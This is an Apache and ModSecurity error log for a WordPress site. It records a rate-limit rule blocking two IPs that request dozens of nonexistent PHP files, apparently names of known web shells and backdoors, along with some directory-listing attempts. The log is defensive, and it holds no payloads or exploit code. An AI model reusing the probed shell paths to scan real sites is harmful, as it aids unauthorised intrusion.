[Sat Apr 25 18:18:25.789853 2026] [:error] [pid 16106:tid 16114] [client 20.215.66.169:13693] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeyU8SGjdEsrWF7e-7MVOwAAAEQ"]
[Sat Apr 25 18:18:26.332301 2026] [:error] [pid 16195:tid 16217] [client 20.215.66.169:4049] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeyU8jVPLvrpvXaNQOkDmwAAABM"]
[Sat Apr 25 18:18:26.901918 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13446] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyU8jVPLvrpvXaNQOkDoAAAAA4"]
[Sat Apr 25 18:18:27.465273 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13491] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyU84bPF4HSQDj6WrlW8gAAAMc"]
[Sat Apr 25 18:18:28.026261 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13594] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyU9DVPLvrpvXaNQOkDpwAAABY"]
[Sat Apr 25 18:18:28.617999 2026] [:error] [pid 16106:tid 16134] [client 20.215.66.169:13444] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyU9CGjdEsrWF7e-7MVPQAAAFg"]
[Sat Apr 25 18:18:29.180134 2026] [:error] [pid 16107:tid 16139] [client 20.215.66.169:13466] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyU9dIfF7Hy3tw0sYRdugAAAII"]
[Sat Apr 25 18:18:29.742813 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13442] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyU9YbPF4HSQDj6WrlXAwAAAMc"]
[Sat Apr 25 18:18:30.317357 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13483] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyU9obPF4HSQDj6WrlXBQAAAM0"]
[Sat Apr 25 18:18:30.865519 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:4079] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyU9iGjdEsrWF7e-7MVQwAAAEc"]
[Sat Apr 25 18:18:31.409816 2026] [:error] [pid 16108:tid 16177] [client 20.215.66.169:13476] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyU94bPF4HSQDj6WrlXCAAAAMs"]
[Sat Apr 25 18:18:31.956132 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13533] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyU9zVPLvrpvXaNQOkDtAAAABQ"]
[Sat Apr 25 18:18:32.487752 2026] [:error] [pid 16107:tid 16149] [client 20.215.66.169:4033] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyU-NIfF7Hy3tw0sYRdwgAAAIw"]
[Sat Apr 25 18:18:33.011083 2026] [:error] [pid 16107:tid 16154] [client 20.215.66.169:4050] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyU-dIfF7Hy3tw0sYRdwwAAAJE"]
[Sat Apr 25 18:18:33.547504 2026] [:error] [pid 16195:tid 16222] [client 20.215.66.169:4071] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyU-TVPLvrpvXaNQOkDuAAAABg"]
[Sat Apr 25 18:18:34.109064 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:13675] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyU-jVPLvrpvXaNQOkDvQAAABE"]
[Sat Apr 25 18:18:34.645453 2026] [:error] [pid 16195:tid 16219] [client 20.215.66.169:13457] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyU-jVPLvrpvXaNQOkDwgAAABU"]
[Sat Apr 25 18:18:35.179762 2026] [:error] [pid 16108:tid 16174] [client 20.215.66.169:13440] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyU-4bPF4HSQDj6WrlXDQAAAMg"]
[Sat Apr 25 18:18:35.749991 2026] [:error] [pid 16108:tid 16190] [client 20.215.66.169:13555] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyU-4bPF4HSQDj6WrlXFgAAANg"]
[Sat Apr 25 18:18:36.287795 2026] [:error] [pid 16195:tid 16211] [client 20.215.66.169:4047] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyU_DVPLvrpvXaNQOkD2AAAAA0"]
[Sat Apr 25 18:18:36.825864 2026] [:error] [pid 16195:tid 16207] [client 20.215.66.169:13541] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyU_DVPLvrpvXaNQOkD5gAAAAk"]
[Sat Apr 25 18:18:37.342253 2026] [:error] [pid 16107:tid 16153] [client 20.215.66.169:13486] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyU_dIfF7Hy3tw0sYRd5QAAAJA"]
[Sat Apr 25 18:18:37.873591 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:4048] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyU_TVPLvrpvXaNQOkD9AAAAA4"]
[Sat Apr 25 18:18:38.411977 2026] [:error] [pid 16107:tid 16141] [client 20.215.66.169:13473] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyU_tIfF7Hy3tw0sYRd7wAAAIQ"]
[Sat Apr 25 18:18:38.990674 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:13499] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyU_jVPLvrpvXaNQOkEAQAAAAo"]
[Sat Apr 25 18:18:39.525449 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:4032] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyU_zVPLvrpvXaNQOkEBgAAABY"]
[Sat Apr 25 18:18:40.094734 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:4060] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVADVPLvrpvXaNQOkECgAAAA4"]
[Sat Apr 25 18:18:40.658713 2026] [:error] [pid 16195:tid 16206] [client 20.215.66.169:4081] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVADVPLvrpvXaNQOkEDgAAAAg"]
[Sat Apr 25 18:18:41.224534 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13562] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVATVPLvrpvXaNQOkEFAAAABQ"]
[Sat Apr 25 18:18:41.788320 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:4070] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVATVPLvrpvXaNQOkEGAAAAA4"]
[Sat Apr 25 18:18:42.352509 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:3987] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVAjVPLvrpvXaNQOkEGwAAAAo"]
[Sat Apr 25 18:18:42.943344 2026] [:error] [pid 16106:tid 16110] [client 20.215.66.169:3999] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVAiGjdEsrWF7e-7MVdAAAAEA"]
[Sat Apr 25 18:18:43.161661 2026] [autoindex:error] [pid 16107:tid 16146] [client 4.232.187.202:6484] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:18:43.453653 2026] [:error] [pid 16106:tid 16116] [client 20.215.66.169:13485] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVAyGjdEsrWF7e-7MVdgAAAEY"]
[Sat Apr 25 18:18:44.003657 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:4086] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVBDVPLvrpvXaNQOkEHwAAAAs"]
[Sat Apr 25 18:18:44.547050 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13505] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVBDVPLvrpvXaNQOkEJAAAABI"]
[Sat Apr 25 18:18:45.059947 2026] [:error] [pid 16107:tid 16160] [client 20.215.66.169:4091] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVBdIfF7Hy3tw0sYReAwAAAJc"]
[Sat Apr 25 18:18:45.595339 2026] [:error] [pid 16107:tid 16147] [client 20.215.66.169:13550] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVBdIfF7Hy3tw0sYReCQAAAIo"]
[Sat Apr 25 18:18:46.040753 2026] [autoindex:error] [pid 16107:tid 16151] [client 4.232.187.202:6484] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:18:46.132427 2026] [:error] [pid 16108:tid 16176] [client 20.215.66.169:4065] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVBobPF4HSQDj6WrlXUAAAAMo"]
[Sat Apr 25 18:18:46.277796 2026] [autoindex:error] [pid 16107:tid 16154] [client 4.232.187.202:6484] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:18:46.670149 2026] [:error] [pid 16108:tid 16175] [client 20.215.66.169:13559] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVBobPF4HSQDj6WrlXUQAAAMk"]
[Sat Apr 25 18:18:47.232296 2026] [:error] [pid 16106:tid 16127] [client 20.215.66.169:13503] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVByGjdEsrWF7e-7MVfgAAAFE"]
[Sat Apr 25 18:18:47.799780 2026] [:error] [pid 16107:tid 16139] [client 20.215.66.169:4063] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVB9IfF7Hy3tw0sYReGQAAAII"]
[Sat Apr 25 18:18:47.943324 2026] [:error] [pid 16107:tid 16140] [client 4.232.187.202:6484] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyVB9IfF7Hy3tw0sYReGwAAAIM"]
[Sat Apr 25 18:18:48.333751 2026] [:error] [pid 16108:tid 16185] [client 20.215.66.169:13458] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVCIbPF4HSQDj6WrlXVwAAANM"]
[Sat Apr 25 18:18:48.414039 2026] [:error] [pid 16107:tid 16143] [client 4.232.187.202:7118] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyVCNIfF7Hy3tw0sYReHAAAAIY"]
[Sat Apr 25 18:18:48.846250 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:4083] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVCDVPLvrpvXaNQOkEMwAAAA4"]
[Sat Apr 25 18:18:48.880416 2026] [:error] [pid 16107:tid 16156] [client 4.232.187.202:6525] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyVCNIfF7Hy3tw0sYReHgAAAJM"]
[Sat Apr 25 18:18:49.345012 2026] [:error] [pid 16195:tid 16198] [client 4.232.187.202:6470] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyVCTVPLvrpvXaNQOkENQAAAAA"]
[Sat Apr 25 18:18:49.386587 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13511] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVCTVPLvrpvXaNQOkENgAAABI"]
[Sat Apr 25 18:18:49.809441 2026] [:error] [pid 16108:tid 16190] [client 4.232.187.202:7110] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyVCYbPF4HSQDj6WrlXXAAAANg"]
[Sat Apr 25 18:18:49.947323 2026] [:error] [pid 16108:tid 16187] [client 20.215.66.169:4074] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVCYbPF4HSQDj6WrlXXQAAANU"]
[Sat Apr 25 18:18:50.316247 2026] [:error] [pid 16108:tid 16164] [client 4.232.187.202:7108] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyVCobPF4HSQDj6WrlXXwAAAMA"]
[Sat Apr 25 18:18:50.512876 2026] [:error] [pid 16107:tid 16157] [client 20.215.66.169:4072] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVCtIfF7Hy3tw0sYReJQAAAJQ"]
[Sat Apr 25 18:18:50.816152 2026] [:error] [pid 16108:tid 16175] [client 4.232.187.202:6505] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyVCobPF4HSQDj6WrlXYAAAAMk"]
